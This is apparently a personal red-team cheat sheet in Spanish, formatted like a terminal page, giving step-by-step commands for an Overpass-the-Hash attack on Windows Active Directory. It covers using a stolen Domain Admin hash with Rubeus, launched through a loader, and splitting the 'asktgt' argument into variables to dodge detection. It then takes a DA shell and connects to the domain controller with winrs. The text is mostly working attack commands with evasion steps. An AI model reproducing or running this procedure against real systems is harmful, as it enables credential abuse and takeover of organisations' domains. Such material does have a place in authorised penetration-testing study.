[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/overpass-the-hash
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd overpass-the-hash/█

OverPass-the-Hash

techniqueprivescwindows← índice

Rubeus

Obtener el hash NTLM/AES de la cuenta DA (ver volcado de credenciales).

En el equipo local, codificar el argumento con ArgSplit:

ArgSplit.bat
asktgt

Insertar el asktgt codificado:

set "z=t"
set "y=g"
set "x=t"
set "w=k"
set "v=s"
set "u=a"
set "Pwn=%u%%v%%w%%x%%y%%z%"

Pegar el output en la terminal.

Validar el valor de la variable Pwn:

echo %Pwn%

Obtener una shell con los permisos de DA:

Loader.exe -path Rubeus.exe -args %Pwn% /user:<DA_USERNAME> /aes256:<DA_HASH> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Conectarse al DC:

winrs /r:<DC_MACHINE_NAME> cmd

Validar la información de la máquina:

set username && set computername